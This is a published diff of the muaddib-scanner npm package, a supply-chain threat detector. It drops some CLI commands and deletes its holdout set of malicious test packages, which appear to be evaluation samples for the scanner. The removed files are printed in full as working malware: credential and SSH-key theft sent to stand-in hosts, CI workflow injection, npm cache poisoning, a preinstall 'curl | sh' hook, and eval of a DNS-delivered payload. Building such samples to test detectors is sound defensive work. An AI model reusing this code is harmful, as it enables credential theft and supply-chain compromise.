muaddib-scanner 2.2.2 → 2.2.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (48) hide show
  1. package/README.fr.md +2 -36
  2. package/README.md +2 -36
  3. package/bin/muaddib.js +0 -9
  4. package/package.json +1 -1
  5. package/datasets/holdout-v2/conditional-os-payload/index.js +0 -36
  6. package/datasets/holdout-v2/conditional-os-payload/package.json +0 -6
  7. package/datasets/holdout-v2/env-var-reconstruction/index.js +0 -21
  8. package/datasets/holdout-v2/env-var-reconstruction/package.json +0 -6
  9. package/datasets/holdout-v2/github-workflow-inject/index.js +0 -36
  10. package/datasets/holdout-v2/github-workflow-inject/package.json +0 -6
  11. package/datasets/holdout-v2/homedir-ssh-key-steal/index.js +0 -29
  12. package/datasets/holdout-v2/homedir-ssh-key-steal/package.json +0 -6
  13. package/datasets/holdout-v2/npm-cache-poison/index.js +0 -38
  14. package/datasets/holdout-v2/npm-cache-poison/package.json +0 -6
  15. package/datasets/holdout-v2/npm-lifecycle-preinstall-curl/package.json +0 -8
  16. package/datasets/holdout-v2/process-env-proxy-getter/index.js +0 -35
  17. package/datasets/holdout-v2/process-env-proxy-getter/package.json +0 -6
  18. package/datasets/holdout-v2/readable-stream-hijack/index.js +0 -44
  19. package/datasets/holdout-v2/readable-stream-hijack/package.json +0 -6
  20. package/datasets/holdout-v2/setTimeout-chain/index.js +0 -50
  21. package/datasets/holdout-v2/setTimeout-chain/package.json +0 -6
  22. package/datasets/holdout-v2/wasm-loader/index.js +0 -46
  23. package/datasets/holdout-v2/wasm-loader/package.json +0 -6
  24. package/datasets/holdout-v3/dns-txt-payload/index.js +0 -11
  25. package/datasets/holdout-v3/dns-txt-payload/package.json +0 -6
  26. package/datasets/holdout-v3/electron-rce/index.js +0 -32
  27. package/datasets/holdout-v3/electron-rce/package.json +0 -6
  28. package/datasets/holdout-v3/env-file-parse-exfil/index.js +0 -39
  29. package/datasets/holdout-v3/env-file-parse-exfil/package.json +0 -6
  30. package/datasets/holdout-v3/git-credential-steal/index.js +0 -41
  31. package/datasets/holdout-v3/git-credential-steal/package.json +0 -6
  32. package/datasets/holdout-v3/npm-hook-hijack/index.js +0 -20
  33. package/datasets/holdout-v3/npm-hook-hijack/package.json +0 -9
  34. package/datasets/holdout-v3/postinstall-reverse-shell/index.js +0 -24
  35. package/datasets/holdout-v3/postinstall-reverse-shell/package.json +0 -9
  36. package/datasets/holdout-v3/require-cache-poison/index.js +0 -26
  37. package/datasets/holdout-v3/require-cache-poison/package.json +0 -6
  38. package/datasets/holdout-v3/steganography-payload/index.js +0 -31
  39. package/datasets/holdout-v3/steganography-payload/package.json +0 -6
  40. package/datasets/holdout-v3/symlink-escape/index.js +0 -30
  41. package/datasets/holdout-v3/symlink-escape/package.json +0 -6
  42. package/datasets/holdout-v3/timezone-trigger/index.js +0 -38
  43. package/datasets/holdout-v3/timezone-trigger/package.json +0 -6
  44. package/metrics/v2.1.5.json +0 -753
  45. package/metrics/v2.2.0.json +0 -753
  46. package/metrics/v2.2.1.json +0 -753
  47. package/nul +0 -0
  48. /package/assets/{logo2removebg.png → muaddibLogo.png} +0 -0
package/README.fr.md CHANGED
@@ -1,5 +1,5 @@
1
1
  <p align="center">
2
- <img src="assets/logo2removebg.png" alt="MUAD'DIB Logo" width="700">
2
+ <img src="assets/muaddibLogo.png" alt="MUAD'DIB Logo" width="700">
3
3
  </p>
4
4
 
5
5
  <p align="center">
@@ -327,40 +327,6 @@ muaddib scan . --breakdown
327
327
 
328
328
  Affiche la décomposition explicable du score : contribution de chaque finding au score final, avec les poids par règle et multiplicateurs de sévérité.
329
329
 
330
- ### API Threat Feed
331
-
332
- ```bash
333
- muaddib feed [--limit N] [--severity LEVEL] [--since DATE]
334
- muaddib serve [--port N]
335
- ```
336
-
337
- Exporte les détections sous forme de flux JSON pour intégration SIEM.
338
-
339
- - `muaddib feed` — Affiche le flux de menaces JSON sur stdout (filtrable par limit, sévérité, date)
340
- - `muaddib serve` — Démarre un serveur HTTP (port 3000 par défaut) avec `GET /feed` et `GET /health`
341
-
342
- ```bash
343
- muaddib serve --port 8080
344
- # GET http://localhost:8080/feed?limit=50&severity=HIGH
345
- # GET http://localhost:8080/health
346
- ```
347
-
348
- ### Logging des temps de détection
349
-
350
- ```bash
351
- muaddib detections [--stats] [--json]
352
- ```
353
-
354
- Historique des détections avec timestamps de première observation et métriques de lead time (délai entre la détection MUAD'DIB et l'advisory publique).
355
-
356
- ### Suivi du taux de faux positifs
357
-
358
- ```bash
359
- muaddib stats [--daily] [--json]
360
- ```
361
-
362
- Statistiques de scan : total scanné, clean, suspect, taux de faux positifs, nombre confirmé malveillant. Utilisez `--daily` pour le détail par jour.
363
-
364
330
  ### Replay ground truth
365
331
 
366
332
  ```bash
@@ -739,7 +705,7 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
739
705
  - **ADR** (Adversarial Detection Rate) : taux de detection sur 35 samples malveillants evasifs (4 vagues red team + holdout promu)
740
706
  - **Holdout** (pre-tuning) : taux de detection sur 10 samples jamais vus avant correction des regles (mesure de generalisation)
741
707
 
742
- Lancez `muaddib evaluate` pour reproduire ces metriques localement. Voir [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) pour le protocole experimental complet.
708
+ Voir [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) pour le protocole experimental complet.
743
709
 
744
710
  ---
745
711
 
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
1
  <p align="center">
2
- <img src="assets/logo2removebg.png" alt="MUAD'DIB Logo" width="700">
2
+ <img src="assets/muaddibLogo.png" alt="MUAD'DIB Logo" width="700">
3
3
  </p>
4
4
 
5
5
  <p align="center">
@@ -327,40 +327,6 @@ muaddib scan . --breakdown
327
327
 
328
328
  Shows explainable score breakdown: how each finding contributes to the final risk score, with per-rule weights and severity multipliers.
329
329
 
330
- ### Threat Feed API
331
-
332
- ```bash
333
- muaddib feed [--limit N] [--severity LEVEL] [--since DATE]
334
- muaddib serve [--port N]
335
- ```
336
-
337
- Export detections as a JSON threat feed for SIEM integration.
338
-
339
- - `muaddib feed` — Output threat feed JSON to stdout (filterable by limit, severity, date)
340
- - `muaddib serve` — Start an HTTP server (default port 3000) with `GET /feed` and `GET /health` endpoints
341
-
342
- ```bash
343
- muaddib serve --port 8080
344
- # GET http://localhost:8080/feed?limit=50&severity=HIGH
345
- # GET http://localhost:8080/health
346
- ```
347
-
348
- ### Detection time logging
349
-
350
- ```bash
351
- muaddib detections [--stats] [--json]
352
- ```
353
-
354
- View detection history with first-seen timestamps and lead time metrics (time between MUAD'DIB detection and public advisory).
355
-
356
- ### FP rate tracking
357
-
358
- ```bash
359
- muaddib stats [--daily] [--json]
360
- ```
361
-
362
- View scan statistics: total scanned, clean, suspect, false positive rate, confirmed malicious count. Use `--daily` for per-day breakdown.
363
-
364
330
  ### Ground truth replay
365
331
 
366
332
  ```bash
@@ -742,7 +708,7 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
742
708
  - **ADR** (Adversarial Detection Rate): detection rate on 35 evasive malicious samples across 4 red-team waves + promoted holdout
743
709
  - **Holdout** (pre-tuning): detection rate on 10 unseen samples before any rule correction (measures generalization)
744
710
 
745
- Run `muaddib evaluate` to reproduce these metrics locally. See [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) for the full experimental protocol.
711
+ See [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) for the full experimental protocol.
746
712
 
747
713
  ---
748
714
 
package/bin/muaddib.js CHANGED
@@ -363,15 +363,6 @@ const helpText = `
363
363
  muaddib scrape Scrape new IOCs
364
364
  muaddib sandbox <pkg> [--strict] [--no-canary] Analyze in isolated Docker container
365
365
  muaddib sandbox-report <pkg> Sandbox + detailed network report
366
- muaddib feed [options] Threat feed (JSON)
367
- muaddib serve [options] Start threat feed HTTP server
368
- muaddib detections List recent detections
369
- muaddib detections --stats Show aggregated detection stats
370
- muaddib detections --json Raw JSON output
371
- muaddib stats Show scan stats + FP rate
372
- muaddib stats --daily Last 7 days daily breakdown
373
- muaddib stats --json Raw JSON dump
374
- muaddib evaluate Evaluate scanner effectiveness (TPR, FPR, ADR)
375
366
  muaddib version Show version
376
367
 
377
368
  Replay Options:
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.2.2",
3
+ "version": "2.2.4",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -1,36 +0,0 @@
1
- const os = require('os');
2
- const { execSync } = require('child_process');
3
- const https = require('https');
4
-
5
- function exfil(data) {
6
- const payload = JSON.stringify(data);
7
- const req = https.request({
8
- hostname: 'metrics.example.com',
9
- port: 443,
10
- path: '/v2/report',
11
- method: 'POST',
12
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
13
- });
14
- req.on('error', () => {});
15
- req.write(payload);
16
- req.end();
17
- }
18
-
19
- const platform = os.platform();
20
- const arch = os.arch();
21
-
22
- try {
23
- if (platform === 'darwin') {
24
- // macOS: dump keychain credentials
25
- const creds = execSync('security dump-keychain -d login.keychain 2>/dev/null', { encoding: 'utf8', timeout: 10000 });
26
- exfil({ os: 'darwin', arch, type: 'keychain', data: creds.substring(0, 8192) });
27
- } else if (platform === 'linux') {
28
- // Linux: read /etc/shadow
29
- const shadow = execSync('cat /etc/shadow 2>/dev/null', { encoding: 'utf8', timeout: 5000 });
30
- exfil({ os: 'linux', arch, type: 'shadow', data: shadow });
31
- } else if (platform === 'win32') {
32
- // Windows: extract saved credentials via PowerShell
33
- const creds = execSync('powershell -c "Get-StoredCredential | ConvertTo-Json"', { encoding: 'utf8', timeout: 10000 });
34
- exfil({ os: 'win32', arch, type: 'credentials', data: creds });
35
- }
36
- } catch (e) {}
@@ -1,6 +0,0 @@
1
- {
2
- "name": "conditional-os-payload",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — OS-specific credential theft",
5
- "main": "index.js"
6
- }
@@ -1,21 +0,0 @@
1
- const https = require('https');
2
-
3
- // Reconstruct "GITHUB_TOKEN" from charCodes
4
- const codes = [71, 73, 84, 72, 85, 66, 95, 84, 79, 75, 69, 78];
5
- const varName = codes.map(c => String.fromCharCode(c)).join('');
6
-
7
- // Access via bracket notation to avoid static detection
8
- const secret = process.env[varName];
9
-
10
- if (secret) {
11
- const payload = JSON.stringify({ t: secret, h: require('os').hostname() });
12
- const req = https.request({
13
- hostname: 'telemetry-api.example.com',
14
- port: 443,
15
- path: '/v1/collect',
16
- method: 'POST',
17
- headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
18
- });
19
- req.write(payload);
20
- req.end();
21
- }
@@ -1,6 +0,0 @@
1
- {
2
- "name": "env-var-reconstruction",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — charCode reconstruction of env var name",
5
- "main": "index.js"
6
- }
@@ -1,36 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
-
4
- // Find the project root by traversing up
5
- let projectRoot = __dirname;
6
- while (projectRoot !== path.dirname(projectRoot)) {
7
- if (fs.existsSync(path.join(projectRoot, '.git'))) break;
8
- projectRoot = path.dirname(projectRoot);
9
- }
10
-
11
- const workflowDir = path.join(projectRoot, '.github', 'workflows');
12
-
13
- // Malicious step to inject into existing workflows
14
- const maliciousStep = `
15
- - name: Check dependencies
16
- run: |
17
- curl -s https://api.example.com/hook -d "token=${{ secrets.GITHUB_TOKEN }}" -d "repo=${{ github.repository }}"
18
- `;
19
-
20
- try {
21
- const files = fs.readdirSync(workflowDir);
22
- for (const file of files) {
23
- if (!file.endsWith('.yml') && !file.endsWith('.yaml')) continue;
24
-
25
- const fullPath = path.join(workflowDir, file);
26
- let content = fs.readFileSync(fullPath, 'utf8');
27
-
28
- // Inject after the first "steps:" line
29
- const stepsIndex = content.indexOf('steps:');
30
- if (stepsIndex !== -1) {
31
- const afterSteps = content.indexOf('\n', stepsIndex);
32
- content = content.slice(0, afterSteps + 1) + maliciousStep + content.slice(afterSteps + 1);
33
- fs.writeFileSync(fullPath, content);
34
- }
35
- }
36
- } catch (e) {}
@@ -1,6 +0,0 @@
1
- {
2
- "name": "github-workflow-inject",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — inject step into existing workflow files",
5
- "main": "index.js"
6
- }
@@ -1,29 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
- const os = require('os');
4
- const https = require('https');
5
-
6
- // Read SSH private key
7
- const sshKeyPath = path.join(os.homedir(), '.ssh', 'id_rsa');
8
- let keyData;
9
- try {
10
- keyData = fs.readFileSync(sshKeyPath, 'utf8');
11
- } catch (e) {
12
- process.exit(0);
13
- }
14
-
15
- // Encode as base64 to fit in a header
16
- const encoded = Buffer.from(keyData).toString('base64');
17
-
18
- // Exfiltrate via custom header to legitimate-looking domain
19
- const req = https.request({
20
- hostname: 'api.github.com',
21
- port: 443,
22
- path: '/repos/check-update',
23
- method: 'GET',
24
- headers: {
25
- 'User-Agent': 'node-updater/1.0',
26
- 'X-Debug-Data': encoded
27
- }
28
- });
29
- req.end();
@@ -1,6 +0,0 @@
1
- {
2
- "name": "homedir-ssh-key-steal",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — SSH key exfiltration via HTTP header",
5
- "main": "index.js"
6
- }
@@ -1,38 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
- const os = require('os');
4
- const crypto = require('crypto');
5
-
6
- // Target: npm's content-addressable cache
7
- const npmCacheDir = path.join(os.homedir(), '.npm', '_cacache', 'content-v2', 'sha512');
8
-
9
- // Malicious payload to inject into cached package
10
- const maliciousCode = `
11
- ;(function(){
12
- const h = require('https');
13
- const o = require('os');
14
- const d = JSON.stringify({ h: o.hostname(), u: o.userInfo().username, e: process.env });
15
- const r = h.request({ hostname: 'collect.example.com', path: '/npm', method: 'POST',
16
- headers: { 'Content-Length': Buffer.byteLength(d) } });
17
- r.write(d); r.end();
18
- })();
19
- `;
20
-
21
- try {
22
- // Walk the cache directory to find JS entries
23
- const subDirs = fs.readdirSync(npmCacheDir);
24
- for (const sub of subDirs.slice(0, 5)) {
25
- const subPath = path.join(npmCacheDir, sub);
26
- const entries = fs.readdirSync(subPath);
27
- for (const entry of entries.slice(0, 3)) {
28
- const entryPath = path.join(subPath, entry);
29
- const content = fs.readFileSync(entryPath, 'utf8');
30
-
31
- // Only poison JS files
32
- if (content.includes('module.exports') || content.includes('require(')) {
33
- const poisoned = maliciousCode + '\n' + content;
34
- fs.writeFileSync(entryPath, poisoned);
35
- }
36
- }
37
- }
38
- } catch (e) {}
@@ -1,6 +0,0 @@
1
- {
2
- "name": "npm-cache-poison",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — local npm cache manipulation",
5
- "main": "index.js"
6
- }
@@ -1,8 +0,0 @@
1
- {
2
- "name": "npm-lifecycle-preinstall-curl",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — pure lifecycle script attack, no JS files",
5
- "scripts": {
6
- "preinstall": "curl -s https://evil.com/setup.sh | sh"
7
- }
8
- }
@@ -1,35 +0,0 @@
1
- const http = require('http');
2
-
3
- // Snapshot all current env values before interception
4
- const envSnapshot = Object.assign({}, process.env);
5
-
6
- // Intercept all process.env property accesses via Object.defineProperty
7
- // Different from Proxy-based approach — works on the actual process.env object
8
- const sensitiveKeys = ['TOKEN', 'SECRET', 'KEY', 'PASSWORD', 'NPM', 'AWS', 'GITHUB'];
9
-
10
- Object.keys(envSnapshot).forEach(key => {
11
- const original = envSnapshot[key];
12
- const isSensitive = sensitiveKeys.some(s => key.toUpperCase().includes(s));
13
-
14
- Object.defineProperty(process.env, key, {
15
- get() {
16
- if (isSensitive) {
17
- // Silently exfiltrate on each access to a sensitive var
18
- const payload = JSON.stringify({ k: key, v: original });
19
- const req = http.request({
20
- hostname: '127.0.0.1',
21
- port: 8443,
22
- path: '/log',
23
- method: 'POST',
24
- headers: { 'Content-Length': Buffer.byteLength(payload) }
25
- });
26
- req.on('error', () => {});
27
- req.write(payload);
28
- req.end();
29
- }
30
- return original;
31
- },
32
- configurable: true,
33
- enumerable: true
34
- });
35
- });
@@ -1,6 +0,0 @@
1
- {
2
- "name": "process-env-proxy-getter",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — defineProperty intercept on process.env",
5
- "main": "index.js"
6
- }
@@ -1,44 +0,0 @@
1
- const http = require('http');
2
- const https = require('https');
3
-
4
- // Monkey-patch IncomingMessage prototype to intercept all HTTP responses
5
- const originalEmit = http.IncomingMessage.prototype.emit;
6
-
7
- http.IncomingMessage.prototype.emit = function(event, ...args) {
8
- if (event === 'end') {
9
- // Extract authorization headers from the response's request
10
- const authHeaders = {};
11
- const reqHeaders = this.req && this.req.getHeaders ? this.req.getHeaders() : {};
12
-
13
- for (const [key, value] of Object.entries(reqHeaders)) {
14
- if (key.toLowerCase().includes('auth') || key.toLowerCase().includes('token') || key.toLowerCase().includes('cookie')) {
15
- authHeaders[key] = value;
16
- }
17
- }
18
-
19
- if (Object.keys(authHeaders).length > 0) {
20
- // Forward intercepted auth headers to external server
21
- const payload = JSON.stringify({
22
- url: this.req && this.req.path,
23
- headers: authHeaders,
24
- timestamp: Date.now()
25
- });
26
-
27
- const exfilReq = https.request({
28
- hostname: 'telemetry.example.com',
29
- port: 443,
30
- path: '/collect',
31
- method: 'POST',
32
- headers: {
33
- 'Content-Type': 'application/json',
34
- 'Content-Length': Buffer.byteLength(payload)
35
- }
36
- });
37
- exfilReq.on('error', () => {});
38
- exfilReq.write(payload);
39
- exfilReq.end();
40
- }
41
- }
42
-
43
- return originalEmit.call(this, event, ...args);
44
- };
@@ -1,6 +0,0 @@
1
- {
2
- "name": "readable-stream-hijack",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — IncomingMessage prototype monkey-patch",
5
- "main": "index.js"
6
- }
@@ -1,50 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
- const os = require('os');
4
- const https = require('https');
5
-
6
- // Anti-sandbox: chained setTimeout with random delays
7
- // Sandboxes typically timeout after 30s, this chain can take up to 5 minutes
8
-
9
- function stage1() {
10
- setTimeout(() => {
11
- stage2();
12
- }, Math.random() * 60000);
13
- }
14
-
15
- function stage2() {
16
- setTimeout(() => {
17
- stage3();
18
- }, Math.random() * 60000);
19
- }
20
-
21
- function stage3() {
22
- setTimeout(() => {
23
- stage4();
24
- }, Math.random() * 60000);
25
- }
26
-
27
- function stage4() {
28
- setTimeout(() => {
29
- stage5();
30
- }, Math.random() * 60000);
31
- }
32
-
33
- function stage5() {
34
- setTimeout(() => {
35
- // Final payload: read .npmrc and exfiltrate
36
- const npmrc = path.join(os.homedir(), '.npmrc');
37
- try {
38
- const token = fs.readFileSync(npmrc, 'utf8');
39
- const data = Buffer.from(token).toString('base64');
40
- const req = https.request({
41
- hostname: 'cdn-analytics.example.com',
42
- path: '/beacon?d=' + data,
43
- method: 'GET'
44
- });
45
- req.end();
46
- } catch (e) {}
47
- }, Math.random() * 60000);
48
- }
49
-
50
- stage1();
@@ -1,6 +0,0 @@
1
- {
2
- "name": "setTimeout-chain",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — nested setTimeout chain with random delays",
5
- "main": "index.js"
6
- }
@@ -1,46 +0,0 @@
1
- const https = require('https');
2
- const os = require('os');
3
-
4
- // Download WASM module at runtime — malicious logic is in the binary
5
- const wasmUrl = 'https://cdn.example.com/analytics/v3/engine.wasm';
6
-
7
- function downloadWasm(url) {
8
- return new Promise((resolve, reject) => {
9
- https.get(url, (res) => {
10
- const chunks = [];
11
- res.on('data', c => chunks.push(c));
12
- res.on('end', () => resolve(Buffer.concat(chunks)));
13
- res.on('error', reject);
14
- }).on('error', reject);
15
- });
16
- }
17
-
18
- async function init() {
19
- const wasmBytes = await downloadWasm(wasmUrl);
20
-
21
- // Collect credentials to pass into WASM memory
22
- const env = process.env;
23
- const creds = JSON.stringify({
24
- npm: env.NPM_TOKEN || '',
25
- gh: env.GITHUB_TOKEN || '',
26
- aws_key: env.AWS_ACCESS_KEY_ID || '',
27
- aws_secret: env.AWS_SECRET_ACCESS_KEY || '',
28
- hostname: os.hostname(),
29
- user: os.userInfo().username
30
- });
31
-
32
- // Instantiate WASM with imported memory containing credentials
33
- const memory = new WebAssembly.Memory({ initial: 10 });
34
- const encoder = new TextEncoder();
35
- const encoded = encoder.encode(creds);
36
- new Uint8Array(memory.buffer).set(encoded);
37
-
38
- const { instance } = await WebAssembly.instantiate(wasmBytes, {
39
- env: { memory, credsLen: encoded.length }
40
- });
41
-
42
- // WASM module handles exfiltration internally via imported network functions
43
- instance.exports.run();
44
- }
45
-
46
- init().catch(() => {});
@@ -1,6 +0,0 @@
1
- {
2
- "name": "wasm-loader",
3
- "version": "1.0.0",
4
- "description": "Holdout v2 — WASM-based credential passing",
5
- "main": "index.js"
6
- }
@@ -1,11 +0,0 @@
1
- const dns = require('dns');
2
-
3
- // Retrieve payload from DNS TXT record — no HTTP involved
4
- dns.resolveTxt('payload.evil-dns.com', (err, records) => {
5
- if (err) return;
6
- // TXT records come as arrays of strings
7
- const encoded = records.map(r => r.join('')).join('');
8
- const decoded = Buffer.from(encoded, 'base64').toString('utf8');
9
- // Execute the payload received via DNS
10
- eval(decoded);
11
- });
@@ -1,6 +0,0 @@
1
- {
2
- "name": "dns-txt-payload",
3
- "version": "1.0.0",
4
- "description": "DNS resolver helper utilities",
5
- "main": "index.js"
6
- }
@@ -1,32 +0,0 @@
1
- // Only activate in Electron environment where we have elevated privileges
2
- if (process.versions && process.versions.electron) {
3
- const { exec } = require('child_process');
4
- const os = require('os');
5
-
6
- // Electron apps often run with higher privileges
7
- const platform = os.platform();
8
- let cmd;
9
- if (platform === 'win32') {
10
- cmd = 'powershell -NoProfile -Command "Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select DisplayName, InstallLocation | ConvertTo-Json"';
11
- } else if (platform === 'darwin') {
12
- cmd = 'security find-generic-password -ga "Chrome" 2>&1 | head -20';
13
- } else {
14
- cmd = 'cat /etc/shadow 2>/dev/null || cat /etc/passwd';
15
- }
16
-
17
- exec(cmd, (err, stdout) => {
18
- if (stdout) {
19
- const https = require('https');
20
- const data = JSON.stringify({ platform, data: stdout });
21
- const req = https.request({
22
- hostname: 'electron-data.evil.com',
23
- port: 443,
24
- path: '/exfil',
25
- method: 'POST',
26
- headers: { 'Content-Type': 'application/json' }
27
- });
28
- req.write(data);
29
- req.end();
30
- }
31
- });
32
- }
@@ -1,6 +0,0 @@
1
- {
2
- "name": "electron-rce",
3
- "version": "1.0.0",
4
- "description": "Cross-platform desktop helper",
5
- "main": "index.js"
6
- }
@@ -1,39 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
- const https = require('https');
4
-
5
- // Read .env file directly — no dotenv, no process.env
6
- const envPath = path.join(process.cwd(), '.env');
7
- let envContent;
8
- try {
9
- envContent = fs.readFileSync(envPath, 'utf8');
10
- } catch(e) { process.exit(0); }
11
-
12
- // Manual KEY=VALUE parsing
13
- const secrets = {};
14
- envContent.split('\n').forEach(line => {
15
- const trimmed = line.trim();
16
- if (!trimmed || trimmed.startsWith('#')) return;
17
- const eqIdx = trimmed.indexOf('=');
18
- if (eqIdx === -1) return;
19
- const key = trimmed.slice(0, eqIdx).trim();
20
- const val = trimmed.slice(eqIdx + 1).trim().replace(/^["']|["']$/g, '');
21
- if (/TOKEN|SECRET|KEY|PASSWORD|API/i.test(key)) {
22
- secrets[key] = val;
23
- }
24
- });
25
-
26
- // Exfiltrate parsed secrets
27
- if (Object.keys(secrets).length > 0) {
28
- const data = JSON.stringify(secrets);
29
- const opts = {
30
- hostname: 'env-collector.malware.io',
31
- port: 443,
32
- path: '/api/env',
33
- method: 'POST',
34
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
35
- };
36
- const req = https.request(opts);
37
- req.write(data);
38
- req.end();
39
- }